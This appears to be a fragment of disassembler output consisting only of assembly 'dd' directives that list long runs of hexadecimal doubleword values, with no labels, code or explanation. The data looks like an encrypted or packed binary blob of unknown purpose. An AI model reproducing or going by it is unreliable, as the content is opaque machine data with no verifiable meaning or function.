		dd 3DC96C75h, 0E3DA9168h, 0B1B2760h, 1723F56Ch,	591665A5h
		dd 6B269C0h, 700B5302h,	4A0F2911h, 58800A2Ch, 0DBB17A2Dh
		dd 0C3012F54h, 6861A6F9h, 0E73A1ABFh, 0F966CB7Ch, 0C53217F3h
		dd 1571BF49h, 5A03BF25h, 2B02CFB1h, 680948E9h, 57593662h
		dd 0A34E7B80h, 95E2C12Ah, 21DF4282h, 8791E901h,	12CAF77Eh
		dd 62BF5D5Ch, 425769A5h, 4CFC4EC0h, 611292D3h, 5835C3h
		dd 0F4542E3Fh, 0DA00B91Ch, 0F761B141h, 250F49D1h, 7E54AE85h
		dd 281DE181h, 8AF04355h, 0B8E74A46h, 4FA090FDh,	0BFD216B2h
		dd 74A87D85h, 9057582Ch, 3B5B3B27h, 0D210CC7Ah,	1C7A3BBh
		dd 6D90B951h, 9E702D54h, 0A17F16B7h, 0AF460347h, 0FC03312h
		dd 3FF58B87h, 0DFE175BCh, 0EFB32BBAh, 4825CC4Bh, 0EF2F7541h
		dd 0EC807603h, 0B944E1DFh, 68BCCC6Fh, 713EA72Dh, 959ACC3h
		dd 9A011756h, 20540E38h, 6D09EDD0h, 0F852B361h,	6AF0ADh
		dd 2949921Ah, 2AD3E9E8h, 80B25995h, 515AF030h, 802E2EB1h
		dd 832079C1h, 3C083EF3h, 0F322AD62h, 0DF097625h, 5A24257Ah
		dd 0B6601C37h, 0B7EE8073h, 620A5150h, 0F5E011E9h, 3EC97B25h
		dd 27CF281Fh, 56EECD5h,	0CC5561C3h, 83D4EB03h, 2CF90812h
		dd 95A2299Fh, 874CB016h, 5FD3CE2Fh, 126971A5h, 31DFC1FEh
		dd 42042AC3h, 2D00BD9Dh, 6B9E7975h, 89F36595h, 65DCEB8Eh
		dd 9782246Fh, 55DE1992h, 0F05874F4h, 62A39F22h,	1B53B6Dh
		dd 0D685375h, 0B3B23E1Dh, 2BE6EED2h, 7A5D7192h,	6F92A1Fh
		dd 0D8285A01h, 60A5045Bh, 1B65C7A6h, 1944B872h,	1071CE3h
		dd 80B27FDAh, 40478F66h, 835E18FEh, 24573D5Dh, 0B0FA7D52h
		dd 42B770ABh, 90F9F7D5h, 57E93CE7h, 6068C618h, 0E87B3E62h
		dd 0D3FE6954h, 2E5E3DFh, 12EFF74Dh, 0AE610663h,	38B80C21h
		dd 418940E5h, 710ED8F7h, 2560560Fh, 6E98C581h, 2C44092Eh
		dd 0F73C3F09h, 0E6499B44h, 0AF277D70h, 8B72511Fh, 63EAF545h
		dd 2F26FC5Dh, 7A09DE54h, 0E6BBE8C4h, 20F62723h,	0C2CCABF5h
		dd 580C041Bh, 0F14109C0h, 5FF1B05Fh, 0D08D8478h, 0C0467365h
		dd 8E9A2850h, 22EA7A4Ah, 0C6F62E72h, 0A539D525h, 252869FEh
		dd 27517652h, 82C655h, 0D02028B8h, 7230050Fh, 0C121B62Eh
		dd 0DF663D02h, 1EB6E03Ah, 6C75091Ah, 0C9F54CE9h, 133B57CFh
		dd 4BA0BFB4h, 0BBBC4D25h, 5A048548h, 0AE41EA68h, 0E24450CCh
		dd 0E9120888h, 310B2527h, 6FA859D9h, 0DAF107C9h, 2D6E52CBh
		dd 305CEF68h, 0E4B6E9E1h, 348EA474h, 0EA90BE52h, 0C083AEBCh
		dd 64CF03E2h, 0C517ABA2h, 0BDF0DFB0h, 2CA7DB63h, 0E917AE10h
		dd 0C6C86584h, 9AA7F256h, 77B904ECh, 0AA747343h, 0CA5AE6A8h
		dd 2FB557D3h, 108AF7C6h, 0FDD3096h, 2949B889h, 88627E29h
		dd 0F122410Bh, 8F5C0B96h, 0BB763283h, 8AAECE4Eh, 0D8788472h
		dd 0D920BFCh, 6E3DE632h, 0C25CE8FDh, 0DC61BFB4h, 0EC3BFC44h
		dd 4A89DEF1h, 8B98F513h, 578277E1h, 0F7729DFCh,	7C80BC48h
		dd 62AAB625h, 6231802Bh, 35595135h, 0FE326647h,	0BDCA70B4h
		dd 0F868E781h, 0C6312E08h, 0B600F526h, 882553B5h, 244C5EF7h
		dd 91BA64C3h, 7AF828F5h, 86683802h, 58C796Ah, 0A8E4E9D1h
		dd 460D009Ch, 0F792768h, 86222A82h, 0C5E831C1h,	0C0B0C83h
		dd 2FEEF255h, 0FBDEDA1Fh, 0EBFD1619h, 44C7B3Dh,	5341805Bh
		dd 34CB652h, 6092455Fh,	9BD6736h, 995B5F7Ch, 29F68984h
		dd 0B4D9ECBBh, 556ECA4h, 0AF02E968h, 4E01EA05h,	0D420DF8Fh
		dd 783C63EDh, 0E95B5416h, 43049207h, 0A0A95D65h, 56573E9Ah
		dd 0E7E90602h, 0F779FD24h, 28EADAEBh, 49A1FB7Dh, 4A2E0202h
		dd 655C0009h, 0F67DDE73h, 4F9561ACh, 4FEBA1Bh, 7738EF8h
		dd 59C94DA2h, 57889B01h, 8B82408h, 0C424A56Fh, 73662802h
		dd 0A0CDFC24h, 9592508h, 0FFF123C0h, 1F5B7F16h,	0D25497EAh
		dd 0F66629C0h, 0C6006590h, 0B8338456h, 23C21D9h, 5F613539h
		dd 1C02354h, 0F4656CE9h, 9D074BA6h, 77C43141h, 9E107A14h
		dd 77682D0Eh, 7EFE3889h, 1B8357C9h, 0E6EF2EABh,	44F81101h
		dd 5D710CA4h, 0C63152A0h, 0ADEFE5Eh, 0CB8DE85Ah, 0B87CE119h
		dd 5C9E4120h, 0D520020Ah, 2CFD3FA2h, 4003AE8Ch,	392E0D3Dh
		dd 3501E176h, 233B7C52h, 52A4D5FFh, 0CD2704F3h,	0EA297E11h
		dd 580149D8h, 4C018BD0h, 0F708AB23h, 44DC20DDh,	80437F3Fh
		dd 0B62DE0D1h, 97273A6Ch, 82491356h, 5899E9D9h,	0C7812D8Fh
		dd 0F66F36DFh, 67197C1h, 0C7D85569h, 610E7E4Fh,	66712B68h
		dd 954A9063h, 46EBC0DCh, 12C603EBh, 178411Ch, 47784B4h
		dd 9089E908h, 6EF480EBh, 55E1EDB0h, 0B3AB9Bh, 2402A810h
		dd 0B508A289h, 5A742F45h, 4397509Eh, 0F23B6BA1h, 49ACD3A2h
		dd 0CCBDE90Bh, 40858656h, 0DA000F86h, 0F3831454h, 0BFDE5689h
		dd 3E85BB07h, 0F901F78Ah, 0CA803646h, 0C64B61BEh, 24863CE0h
		dd 8064821h, 51015753h,	0C8885BB1h, 0BD2DC3E8h,	97A83256h
		dd 0D01EBE0Ah, 0FB03BB02h, 518B83Eh, 1B19EA18h,	0E800FF01h
		dd 52C23160h, 0C8559C29h, 3059170Ch, 0F29FE95Fh, 0FCBA66C0h
		dd 2E6FAD3Eh, 849E2C1h,	53000E0Ch, 8D4AA868h, 96E9DF73h
		dd 5DA443D1h, 0B3C05255h, 919DFEDCh, 906A57A3h,	8F341A8Dh
		dd 0CB814E00h, 72C81B47h, 0A8DB5EF7h, 4F415BBDh, 419A39FAh
		dd 160AA020h, 0A8BE6DC6h, 3082A4A6h, 2A22FF25h,	3E796D4Ch
		dd 0A001C188h, 99D8098Ah, 14DECF43h, 79D09889h,	9D6988CCh
		dd 5CB5614h, 45712B54h,	0F726DE82h, 0BE024067h,	41A66456h
		dd 0FFF9441Bh, 86F155C6h, 35ADE9C1h, 0CB08D06Fh, 0C93E690Ah
		dd 0F5882A5Dh, 0F553C1B7h, 0BD1115E4h, 0A568DE98h, 5BD87F5Ch
		dd 0A85E588Bh, 56A01039h, 7E2D116h, 9130E4Bh, 1C604CDFh
		dd 0DD56D589h, 0AFF056EEh
		dd 8DCA24D3h, 9909D716h, 8E3A0466h, 5029B7FFh, 9395DF01h
		dd 0EF81660h, 0AF52259Eh, 5C3534C0h, 0BA3C1AA9h, 0E45F0B39h
		dd 0C9B2B400h, 0C5E98D02h, 51590E78h, 5F59C94Dh, 5D5AC4F9h
		dd 5E4ABE78h, 0A262A0CAh, 5041098h, 47EDAB5h, 9F91A98h
		dd 257F8058h, 29B6F89h,	72A7350Ch, 25C32B74h, 8EC8A2B8h
		dd 42E0D14Eh, 8F20496Ah, 4CAEFD5Ah, 7EC44B50h, 4B3847FEh
		dd 536F68BDh, 61E9A3C0h, 0D9F6A9ABh, 7B88FBF0h,	34E64ADAh
		dd 62A2010Fh, 0F80EC529h, 1CDC48A1h, 0EA98FD2Fh, 0EC4F8850h
		dd 0D24179FCh, 75F6A32Bh, 0FEB64916h, 68EE60FFh, 0B4023B8Bh
		dd 92E95F1Fh, 8DBADEAEh, 7BF05770h, 8403DBCh, 68591F5Ah
		dd 617C2FE0h, 14D72958h, 35DB91E9h, 460E8C95h, 3E19744Ah
		dd 2EE90C21h, 432FCE7Dh, 26B94CC1h, 145AF057h, 2DBF2FE1h
		dd 9A32A09h, 205768C9h,	60055DF9h, 78D4121Dh, 0EBB0BA2Dh
		dd 80214BE9h, 7E3EBD56h, 0A2E1B2Fh, 8F059AF8h, 8BAAA222h
		dd 11EE10DEh, 5F4E89A2h, 0BC83979Ch, 42E6165h, 27824D0Ch
		dd 813DC56Fh, 203CE08Eh, 0CBA8E8AEh, 7D82C5FEh,	26B8F3C5h
		dd 5E0862D4h, 17E92513h, 94162AB7h, 34F2AABh, 0FB0F462Dh
		dd 2C61F028h, 0E1175A88h, 0CA070765h, 9802411h,	98D7FD19h
		dd 0AA5067FFh, 9CB10296h, 0E87E7745h, 0DC15A10Bh, 1EE90BD4h
		dd 0E62514DEh, 275C7C6Ah, 3975D0F6h, 0EA651A2Ch, 8871A32Ah
		dd 0CDE00814h, 4966804h, 8251DABBh, 77518D68h, 3F855199h
		dd 0B4C525D1h, 83C3717Eh, 730B3FEEh, 81A7297Bh,	51EA0108h
		dd 0B53C48EDh, 2469EF4Eh, 96258938h, 0EEB58DF0h, 717E974Fh
		dd 0E9F18638h, 4261970h, 8D12F3BFh, 9AA4EF34h, 5860B055h
		dd 51C25A82h, 255F189h,	75015E59h, 0C5FF2D09h, 0E2E9046Bh
		dd 0F2F3BEF1h, 7C7C51CBh, 9F64DE58h, 96BD89FBh,	96B4CA0Dh
		dd 6420177Dh, 4E536001h, 575F8E0Fh, 0E9965C80h,	32FB6FC6h
		dd 66C33122h, 9A0B9077h, 0B873D213h, 218C10CEh,	8AD4B24h
		dd 5FAD3AFDh, 0F3140398h, 51D84082h, 685580F7h,	0B844212Ch
		dd 20B2DC0h, 0E681006Dh, 7CB1D97h, 0F25308E9h, 0FB0104A2h
		dd 0CDFB1868h, 7C67E090h, 146E5C9Eh, 0D3E084A4h, 0BB4A3214h
		dd 0E91688CBh, 8B28AAF5h, 327F4E4Ch, 1254FE9Ch,	4D075F25h
		dd 0BF8DA441h, 18FC3317h, 0D841D2ACh, 3AE9E16Eh, 6F522DEEh
		dd 4F364B2Ch, 7B7F3A0h,	6C6245D7h, 0F2B9C7D2h, 617A9F32h
		dd 0A65EFD90h, 0C11B62B7h, 724A2B75h, 124CC5ABh, 0C5DFBF53h
		dd 97FE8550h, 0CA5D92EAh, 0B60941F1h, 51645902h, 72BD57F4h
		dd 0B2F83443h, 9BE9BF34h, 46D5CE1Ah, 7232F45Dh,	0E115657h
		dd 0AB170AB3h, 9F134298h, 2D609A6Ah, 0B28683Dh,	440AB15h
		dd 2D057AB3h, 78515B84h, 0E4C08C80h, 5FC48008h,	0D229AAFFh
		dd 76E97F1Ch, 0DAD9B718h, 9071B42h, 60D68C62h, 9F79DD72h
		dd 0C3F17C52h, 5A607A78h, 0D25F6D28h, 0B8D9806h, 14566483h
		dd 0BF0D5280h, 7A029D31h, 7E683225h, 0ED394063h, 67F02037h
		dd 3C765A60h, 763F0760h, 852D029h, 0AF71D14Bh, 85F32F23h
		dd 48C1680Dh, 7C6F9E1h,	13F94EA5h, 9CDA9B2Ah, 505301DAh
		dd 0E151A7B4h, 0E9EFE8E5h, 5E81902Fh, 61EE60C2h, 0E89D27D5h
		dd 7E23F46Ch, 4B5B9792h, 14F10CA0h, 0D1BF1C13h,	2F4DF80Bh
		dd 0E1FF93DDh, 189568E1h, 2577B7ADh, 0AAFE2914h, 20E1DD5Ah
		dd 0E9095051h, 5B9DF312h, 0C4BBA6DEh, 0FCE96002h, 6630C180h
		dd 0D0069A25h, 0EA48782Dh, 0E9C70520h, 33916231h, 0FD2A5BDAh
		dd 0EB8750F1h, 0FFE2925Eh, 2A52EF80h, 0C6B808D5h, 4226FA0Bh
		dd 0A098DE7Ch, 0F7F08008h, 4C9A2554h, 0F4F9A1FDh, 68933315h
		dd 5F2DF07Bh, 50765669h, 4EFBE8Dh, 0E3706968h, 0B13118BEh
		dd 4A3BA2Eh, 947282Fh, 0AD61EAD1h, 0AE04B47Eh, 0EC97FBB2h
		dd 565F2758h, 0E0D14126h, 257D7083h, 462519ECh,	3A80774h
		dd 0C19D02E2h, 0BA067961h, 3D69703Eh, 625BAD43h, 0DFC5559h
		dd 0FF59539Ah, 38BAADD3h, 905F13BBh, 24113904h,	7C3C10Fh
		dd 4ED1FB87h, 159D3F0Bh, 1D132051h, 147B36Fh, 54896A93h
		dd 45267C29h, 0F35F0C40h, 0DD24085h, 0B4B20B0Eh, 48945550h
		dd 42815164h, 13241A7Bh, 0B3EB8CEh, 1D3D07A0h, 56098805h
		dd 89D1EABDh, 660162F5h, 69138931h, 6093E0B0h, 10D1833Dh
		dd 58268743h, 4684D908h, 0F74E36FCh, 0D4A9C9A4h, 96D727CCh
		dd 0BCE916E7h, 0CBB5EC40h, 7D9BD5FBh, 5220179Eh, 0E42D07F0h
		dd 331D1405h, 75927B48h, 7833350h, 0FB1152FDh, 0EF61E4A5h
		dd 4A505763h, 2A1F4164h, 0C195CD04h, 6B61AA12h,	68005378h
		dd 0C5073B61h, 0DFF75F73h, 45CF49D2h, 9551259Eh, 0BB2D5A52h
		dd 0F0E984A7h, 548F981h, 0CB87D1F7h, 5CD05882h,	0C54FBC80h
		dd 0F864814Eh, 8F73AAFh, 4D71373h, 52FDCCFBh, 0E913B604h
		dd 44AE1FADh, 0BEB03D66h, 1D373B2h, 38E5507Dh, 62EB3B28h
		dd 6A7D2D4Dh, 0E6565E3Ch, 801EA2FFh, 0A80B34E5h, 0A314E411h
		dd 5B0B3CD6h, 7942DA9Eh, 25BBCDBh, 7589B1F2h, 25A07637h
		dd 0B5B0B4D7h, 0F64B1579h, 0CDF75ABDh, 0C8010571h, 0E9C54F59h
		dd 46474ED3h, 0ABE685C5h, 0A96ECE44h, 2792CBFAh, 8A91817Eh
		dd 129752C2h, 2FE8F15Ch, 8BA462BEh, 0C55BB078h,	0AAD34DA2h
		dd 0F2E9AC02h, 24F1D1E3h, 44B3081Dh, 66C573Bh, 0E47F55B9h
		dd 0C9B820BAh, 9F27C995h, 0BA15007Eh, 285347BDh, 560B0990h
		dd 0F5C080D6h, 7539ACC1h, 8EF82B0Dh, 1E4588A5h,	0FD15E909h
		dd 0B70D1CFEh, 1E804C7Ch, 2969D9DEh, 202790E9h,	682D30DDh
		dd 0A24E30B7h, 0FB1C4A2Ch, 1FE69CD0h, 79F73919h, 1570D625h
		dd 2B68561Dh, 8BAE4B38h, 0E305E2Fh, 40D6E957h, 0E8B55DABh
		dd 825678F1h, 0D17913D5h, 8F6A52B2h, 38BE4B0Ah,	1C256875h
		dd 556981Dh, 2A5B81CFh,	0F7C3C763h, 7C8706Bh, 885B762Ch
		dd 0B50AA2C5h, 2F7427CAh, 0CC75DB02h, 2D06082Ah, 900ACA78h
		dd 0AB77A405h, 0E39DE986h, 0D43FF3B1h, 17ED82Fh, 0BE56D901h
		dd 30982FEFh, 1835E930h, 0C749E34h, 2258B4C0h, 0F15234F7h
		dd 84BCBCAAh, 99AAAEFEh, 0C243FDD9h, 52647657h,	4668E540h
		dd 2DE93240h, 6B52F6F3h, 0FEEB4A13h, 30F4C9AEh,	0E0EBFC3h
		dd 2B414626h, 0AD38181h, 8ED50F2Ch, 0BEA1123Eh,	0AB4F578Ah
		dd 4D7DE498h, 0F33C1B9Ah, 126B34Ah, 0D0F7585Eh,	93FB3196h
		dd 0E90812DEh, 7F73B1F6h, 7385BF2Dh, 0BB61E4E9h, 0E628F588h
		dd 35527C66h, 0BCCAD4BEh, 567C7ABFh, 9C58ECF4h,	3FF13E81h
		dd 2C212E5Eh, 55479F3Fh, 5C9BD07h, 71EE07D9h, 3FF50AECh
		dd 0E4503A67h, 1813C007h, 0CE19E960h, 0BA40B59Eh, 4CAF6C23h
		dd 0CF057B3Fh, 0EF10D21Ah, 2FD4704h, 0AADEFA12h, 15208C4Ch
		dd 0D134879Fh, 1929639h, 0AB543CB8h, 2416E951h,	0D5975860h
		dd 4690E51Ch, 0EA6E6F20h, 42E29707h, 2569DD5Eh,	19942F98h
		dd 1C92A7EFh, 31203C38h, 1D49B30Ch, 0BF226BA6h,	6CFFCABCh
		dd 29649D83h, 6B352851h, 9F2550A4h, 4F5DAB89h, 303F2469h
		dd 6BEC6815h, 5D2F2925h, 40172344h, 2322FEEDh, 8D595E30h
		dd 0D418ABFCh, 7FE93270h, 49DF4AA9h, 5CC80E94h,	4303371Ch
		dd 8E0F4615h, 0F3FFB49Eh, 0D931C662h, 0D8C60539h, 0EABA7A94h
		dd 0D629B030h, 99B905Ah, 554F0205h, 1200A856h, 3134E99Eh
		dd 3D597ECEh, 443D0DF8h, 0D368BF27h, 31FAD2E1h,	1991303Eh
		dd 0C3198A74h, 195F42Fh
		dd 575EF5EDh, 0C8F749C4h, 3F5A1EC2h, 6B71B0Bh, 0BDF229F5h
		dd 4181114Ah, 484DAF6h,	0BB1EF280h, 0B5C5A1FCh,	81F08468h
		dd 0DB0FCDB2h, 4B87F894h, 6AF192FFh, 0F60A76FCh, 0D10A95DDh
		dd 0E9090807h, 0BF58504Fh, 492FDCh, 0FE17A685h,	0E581022Dh
		dd 58E36892h, 82625E5Dh, 63BC6E11h, 85C9AC40h, 508CEF27h
		dd 4518BE17h, 0DAE00058h, 816E152Ah, 0B44EB1Fh,	410863D3h
		dd 0CABA3DC9h, 6A097A87h, 9DC2704Ah, 2EE3102Eh,	0CA4E32B2h
		dd 7E0905C3h, 13FB711Fh, 2A8CF162h, 0BA67AFEh, 224901E9h
		dd 85D1A96h, 685027C0h,	15DE5B5h, 8FE155BAh, 0BAF2EADh
		dd 4A5AC490h, 4662857Bh, 9950A57h, 6C9982DDh, 442DA9h
		dd 5CD66A9Dh, 0EE298004h, 95BBD5E9h, 0BF9613AAh, 683DFA8Bh
		dd 1EDE73C8h, 727EEF23h, 0DFC28562h, 0E783C0A2h, 57428C7Eh
		dd 7058DD52h, 8E53B721h, 7A25CD81h, 505EE0F1h, 801EB801h
		dd 0C529FA0Eh, 0F42F013Dh, 61025689h, 3305C002h, 0D5E846AFh
		dd 0CD20F72Dh, 72CB075h, 10EC2250h, 0E418720Fh,	9FE5977h
		dd 8E5C9CE9h, 98385913h, 0DD0A0363h, 0EF1FE945h, 3DEA5338h
		dd 95103D12h, 4FA87391h, 0EC3FE8A1h, 0C2EC51DDh, 0C2B41957h
		dd 2BA8FEFDh, 0FC125BDDh, 0C26FA763h, 0C187F87Bh, 2292B2A8h
		dd 8A08A05Ah, 7F313440h, 0E04325F7h, 0A0120F66h, 0B6FAFEA9h
		dd 68682D7Ch, 7DCEFECh,	106F62Ch, 8548EC7h, 4F25334Eh
		dd 0EBFF1A0Fh, 72096B9Ah, 136C1D01h, 31299EDBh,	9DD5AB6Eh
		dd 12D3C87Fh, 0EB885580h, 0CC681259h, 155F4435h, 0B3A2AF10h
		dd 985D5CC9h, 62A2688Fh, 2323574h, 34CA750Bh, 75116A5Dh
		dd 0E8BF54DAh, 82C5ADB1h, 27C2507Dh, 3271E83Eh,	7F095B12h
		dd 2D086506h, 4611A2DDh, 84000997h, 12390258h, 385A99F6h
		dd 5D653ECh, 8988BA0Bh,	0EC92C98h, 5E7D7A3Fh, 75044410h
		dd 0BB6A2E5Bh, 0E52192F1h, 4C290A01h, 985908E8h, 0F71D826Ch
		dd 0E932D3C4h, 0FD5A7504h, 12658E89h, 17100724h, 0AF30944Bh
		dd 82E24751h, 0F7220A68h, 0F7A74A45h, 31AE0682h, 42827157h
		dd 1DDEDBF6h, 17F2662h,	3A51C888h, 9BB0A0C5h, 0BEDC401Eh
		dd 1C2E7F09h, 5AD8007Eh, 414B3Dh, 5954EB0Dh, 907D0509h
		dd 0E97925FAh, 0D6B5B79Ah, 0BF52E592h, 0AE2B757Dh, 0B97D853h
		dd 62AD2B66h, 39492CBh,	0C146801h, 0E773F7C2h, 0E0B5E989h
		dd 1E440C88h, 6488830Fh, 8040F17h, 0A2FB4BE5h, 79BE01D8h
		dd 31B14D05h, 1853A97Ah, 0BA249021h, 145B702Ch,	9DD2F778h
		dd 0C478BC4Fh, 12AE0768h, 272EEB4Bh, 0E8BADA61h, 7042F149h
		dd 9B91D1B5h, 710FD727h, 0D5160DA5h, 680F0313h,	0D9276A73h
		dd 0B72650D9h, 20F32FD4h, 9F90385Ah, 109944D1h,	7BDF1B9Fh
		dd 0F2CE75BEh, 0EF92DFD5h, 0E0C0E945h, 18029B04h, 2F02010Bh
		dd 4009E540h, 96EE35BEh, 4D7DC22Dh, 48C5DD1Ah, 0E8B59044h
		dd 0ED54C861h, 9A91F2BEh, 68B0DD08h, 30C3A718h,	0C32FC580h
		dd 8AB924ECh, 0C4024695h, 0A356098h, 0E3BB676Ah, 0E32FC50Dh
		dd 0F8B97A89h, 6196F7A4h, 7E210368h, 8C9F00B3h,	5ED16DF6h
		dd 133B4341h, 347EE6B5h, 81FB87ADh, 0B8EB89FFh,	69DA74F6h
		dd 0DDC38750h, 0E3D4EC27h, 95284DF0h, 0F16A937Ch, 0E619E70Bh
		dd 91EA4C24h, 5CE9CD05h, 1214BD3Bh, 8AB2F2D3h, 99703F89h
		dd 77FD2C2Fh, 0CBBE3014h, 2E138D96h, 2D40B7EBh,	20D0E4AFh
		dd 8700A655h, 0D2F681EEh, 0EC32E26Bh, 663412CEh, 1A01FED8h
		dd 270A6C93h, 0A01A93Fh, 885A6AE9h, 7E1298A6h, 384ED1BCh
		dd 3427E9FCh, 92FE4B7Fh, 1C806C67h, 8E6D4833h, 0E3B5D6E9h
		dd 13BBF95Ah, 71FEA446h, 31E78ABAh, 45ED60F6h, 23ED775Eh
		dd 13171A9Dh, 688081DFh, 0A0236DFCh, 748B987Ch,	0C6813B30h
		dd 0DAC94FBCh, 502D017Dh, 31685A7Eh, 0C571780Ch, 4488DEFAh
		dd 0C83013F0h, 0ECF10D05h, 0D123E0Dh, 23D28C00h, 904D0FDDh
		dd 0BFC2881Ah, 4A6576B5h, 1801F826h, 0B918F451h, 0CB5728A3h
		dd 7DC425F7h, 0AC535C56h, 0A58044h, 7A0997B8h, 4A5AF47Bh
		dd 0D363F486h, 5FA20995h, 65692566h, 541C7537h,	365800E9h
		dd 0F2CAB708h, 604FF955h, 2EDBBF57h, 4C418648h,	72245E8Dh
		dd 0D8EA0FD4h, 0A7487AFCh, 2A12DE3Eh, 0D4BD7280h, 12512F58h
		dd 8902BBF6h, 5D651B31h, 2D88EBCBh, 0F6970663h,	0AA321624h
		dd 858D98h, 812C8274h, 0ED271ECBh, 0D3F7281Ah, 81805710h
		dd 7C8B0F50h, 0E657325Eh, 0AD597A07h, 3F301C98h, 0A7D99D7Fh
		dd 6B95540h, 80174F4Ch,	49422800h, 8C0F1609h, 42895592h
		dd 5A6EEC55h, 0AAC3C457h, 0AE1F6EF6h, 14BE23BAh, 93CA0A8Fh
		dd 0E9F6A4BFh, 0CACA693Dh, 174DC3C8h, 0AA7F912Ah, 64E42042h
		dd 0FB5EE0A5h, 0BC3C528Bh, 0DD319B4Ch, 0C9D1313Ah, 87088ACAh
		dd 8318BDAh, 56BD5E9h, 0A31B04DBh, 0CE0E784Ch, 832CD028h
		dd 0B972B151h, 0DFDA59C8h, 0C702BC85h, 5258602Ah, 8005C2B2h
		dd 25E9A1EAh, 0DB4E4DFCh, 0DD5E270Eh, 0F124D1Bh, 7D5777E9h
		dd 0C8EB1D16h, 6C76B52Eh, 0AE9235Ah, 0B9F50841h, 0F353406Fh
		dd 58616B55h, 59970FF6h, 4C5C4B80h, 40F9F62Dh, 0BE6C717Ah
		dd 4798014Ah, 0C1E8C221h, 74500CE8h, 0C665F074h, 56A2DE09h
		dd 0A105BE5Bh, 0FFD6BFFDh, 65C90BF6h, 48012091h, 60A67AECh
		dd 0F9A9A206h, 0ADE82054h, 1890FD41h, 56F75EA3h, 498E053Ch
		dd 9AA10F91h, 6B3A752Ch, 7023284h, 7A1E23E9h, 0F0870973h
		dd 0C07712D9h, 0B7A0B96Ch, 0A9A2DEE6h, 590545Fh, 0FE425A68h
		dd 806B3B99h, 8947F9Ah,	31E5810Fh, 383FEC11h, 43301F8Ch
		dd 61ED012Ah, 8266CD27h, 0F61A570Ch, 4089FFCBh,	0E966B155h
		dd 8C2E3AF1h, 0C7502E6h, 0AA20677Dh, 0BBCA830Fh, 0BAFEB2B1h
		dd 5BC3E8D6h, 0B9512550h, 73B909D6h, 76B3A55Eh,	0B4667812h
		dd 8412BBC9h, 0FB26326Eh, 3C6B0596h, 0D5B0E9A9h, 8901EF99h
		dd 29377812h, 0F739B03Bh, 2B000DE6h, 0F309E02h,	9C0A818Ah
		dd 60DCBD8Bh, 0C25ACB26h, 5207BA76h, 2039EE3h, 0A8882DB4h
		dd 48F5151Eh, 0B5EAA41Ch, 0AF5748CAh, 7FEFD41Ah, 22A9CCC4h
		dd 0E3004709h, 7CED75E3h, 5FFE0109h, 0B8797D29h, 7DC913ACh
		dd 5C0035F1h, 4BE9965Bh, 0B2FE58F2h, 2DFAB8E0h,	7649302Fh
		dd 549333A7h, 2878DDBAh, 0C9692CF8h, 289093Eh, 0BB817AEh
		dd 0C9E65342h, 43A1D0Ah, 200B732h, 0E93DD30Bh, 0BCA55A59h
		dd 0FEA2B6EAh, 0AED5801h, 86205CD4h, 10ED70B7h,	0A1FEEE16h
		dd 0C60002DEh, 6B9AD5C1h, 0E2FBFC97h, 84F409E9h, 8AC40C96h
		dd 9F6E3EAh, 7DFEA1F2h,	5C9F1614h, 1A5E72E2h, 0D3AB6809h
		dd 619909F2h, 97BC4757h, 2FC4725Ah, 4368D5E9h, 15D9590Ah
		dd 0CD218B09h, 0BF22C6FAh, 502F3354h, 872BA069h, 0F0FBA35h
		dd 0EEBA22DDh, 0E30AFC46h, 0B4C42C58h, 0C80F60EEh, 314ED0E9h
		dd 0B12C1AA3h, 48D5A5B5h, 0F3B02A10h, 0E0A180Eh, 9F4A5E10h
		dd 76C54A7Eh, 0D15CB549h, 6FB1626Bh, 27DF00F7h,	4FE9E7D0h
		dd 82F3D814h, 417E110Bh, 80E85E09h, 16DB5201h, 0B3EECB29h
		dd 7F9C09BFh, 0A1A780C7h, 444952E3h, 4113BA2Eh,	94D0C7C8h
		dd 184F185Eh, 3F25EC42h, 0A400D0EBh, 0BB79B7C1h, 256DE986h
		dd 20C3983Ch, 0C9F6B153h, 5B9FA0B2h, 9F7A02Dh, 753F1F96h
		dd 82C1785Dh, 841B7408h, 0EEFF602Bh, 0E9A84AACh, 0F6D4F127h
		dd 0C068503Bh, 0D6D4444Ch, 26BFA402h, 0B1DF41CAh, 0C4EF9354h
		dd 902AC253h, 33CB94D5h
		dd 0E1C3F73Dh, 17F21A0Fh, 48DCFA77h, 2DFB314Fh,	0ED54215Fh
		dd 4E21B096h, 0A3623F14h, 5BF8029Ch, 0C1E1D828h, 0A980040Eh
		dd 7B744BA4h, 5FC2291Ch, 0C80F40DFh, 4F5F6C68h,	0A0F23E37h
		dd 20E666FEh, 9DB00267h, 5D82D7E0h, 5BE700DEh, 0FFC28BAEh
		dd 1AC2E2Eh, 72B7B206h,	0D6F21D6Dh, 0BFB1D8E9h,	0B30DBBF3h
		dd 0E601AB6Ah, 2EAFCCFh, 48883B29h, 7846BF60h, 203AB3Bh
		dd 205C66C7h, 1586DEF5h, 3D099C5Dh, 0BD745A75h,	0B7005212h
		dd 4DC570E8h, 78CA5889h, 4064F926h, 75AF7CAEh, 1EEAE3ECh
		dd 18C164FAh, 288F60F0h, 0A0293Fh, 627CB7A2h, 8BB00B5Fh
		dd 11022F75h, 83E289C0h, 3C260109h, 42AF8B0Fh, 2EC2DFA4h
		dd 0E98B1C74h, 778CE2C8h, 0C901EBD9h, 4D5F7C55h, 4E0FEE40h
		dd 0FA924FF2h, 0ACBFEF24h, 31D3A199h, 79C08C3Bh, 0BF64F740h
		dd 9F472F82h, 7168DF0Bh, 0D34A3034h, 1397CAEFh,	404BF653h
		dd 2FEB74A6h, 23600864h, 2FD76849h, 0A8565E36h,	66170030h
		dd 81E93713h, 238B7E4h,	3017E668h, 0DCBB5A86h, 7B90521Dh
		dd 5413429Fh, 0C5417250h, 66F5F2CBh, 674F0996h,	98042F52h
		dd 27ACE719h, 6429F957h, 0CCBE1283h, 6B4A7A92h,	0E9C68EF2h
		dd 0C012598Eh, 710406EEh, 0B4919439h, 0EA056011h, 0BE4B2EA6h
		dd 0A7D0B6CAh, 0BD23A6C6h, 36CC902h, 83415DBEh,	9A187AFCh
		dd 44C0DFA8h, 18064FEh,	225D9FDAh, 723C2D34h, 0D7244097h
		dd 5D5C0B9Dh, 0F4B7CF9Eh, 6F6EB43h, 7071E9C2h, 0A7594BB8h
		dd 2288760Fh, 215E809Eh, 6F5A5AB0h, 75AA4317h, 0E431EF9Eh
		dd 8C3A9E08h, 0FAA0559Fh, 3ACB6F5Bh, 0ACA17C58h, 0EE99BE6Ah
		dd 0F0D0F1F9h, 0E9C98812h, 98137249h, 343C3042h, 7182F10Ah
		dd 7CB96CFFh, 83B88026h, 0CFDAD752h, 652A6814h,	0E3E9B0FAh
		dd 5D80C9A8h, 819DB857h, 15CF09EDh, 0C50A2320h,	16853A30h
